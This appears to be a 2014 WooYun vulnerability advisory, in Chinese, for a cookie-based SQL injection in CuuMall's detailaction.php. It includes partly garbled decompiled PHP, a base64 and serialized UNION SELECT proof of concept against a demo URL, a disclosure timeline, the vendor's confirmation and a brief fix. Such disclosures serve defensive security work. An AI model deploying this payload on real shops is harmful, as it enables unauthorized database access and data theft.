当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077892

漏洞标题:CuuMall最新版sql注入-3

相关厂商:cuumall.com

漏洞作者: 路人甲

提交时间:2014-10-02 10:13

修复时间:2014-12-31 10:14

公开时间:2014-12-31 10:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-02: 细节已通知厂商并且等待厂商处理中
2014-10-09: 厂商已经确认,细节仅向厂商公开
2014-10-12: 细节向第三方安全合作伙伴开放
2014-12-03: 细节向核心白帽子及相关领域专家公开
2014-12-13: 细节向普通白帽子公开
2014-12-23: 细节向实习白帽子公开
2014-12-31: 细节向公众公开

简要描述:

CuuMall免费网上商城系统基于企业级MVC技术架构,安全、稳定,可保证同时在线人数达10000人左右,能适应不同领域的公司企业,文件缓存机制、数据库缓存机制,保证系统稳定运行,多种功能以满足不同客户网上开店的需求。

详细说明:

在detailaction.php页面中

public function getgoodprv( )
{
$coo = new Cookie( );
if ( $coo->is_set( "good_prv" ) )
{
$prv = $coo->get( "good_prv" );
$unprv = ( ( $prv ) );
$pro = new Model( "produc" );
if ( 5 < ( $unprv ) )
{
$i = ( $unprv ) - 5;
for ( ; do
{
$i < ( $unprv ); ++$i, )
{
$cooprv[$i] = $pro->where( "id=".$unprv[$i] )->find( );
break;
}
} while ( 1 );
}
else
{
$i = 0;
for ( ; $i < ( $unprv ); ++$i )
{
$cooprv[$i] = $pro->where( "id=".$unprv[$i] )->find( );
}
}
}
return $cooprv;
}


这一段代码解密的不是很完全,但可以看出是一个cookie获取以后 遍历值 直接带入数据库执行。
到demo站点测试cookie 以后,发现此处的cookie是一个两次序列化+base64的一个操作。
利用这个结构可以成功实现注入
POC:czoxNjE6ImE6MTp7aTowO3M6MTQyOiIwIFVOSU9OIFNFTEVDVCAxLDIsMyw0LGNvbmNhdCh1c2VyKCksJ3wnLGRhdGFiYXNlKCkpLDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYjIjt9Ijs=
解密后就是:
s:161:"a:1:{i:0;s:142:"0 UNION SELECT 1,2,3,4,concat(user(),'|',database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36#";}";
然后请求链接:http://demo.cuumall.com/index.php/detail/Index/id/3

BaiduHi_2014-9-30_11-3-18.png

漏洞证明:

BaiduHi_2014-9-30_11-3-18.png

修复方案:

解密或者解码以后一定要重新过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-09 13:30

厂商回复:

针对客户端的cookies没有做过滤,和你之前提交的漏洞是一个原理,谢谢

最新状态:

暂无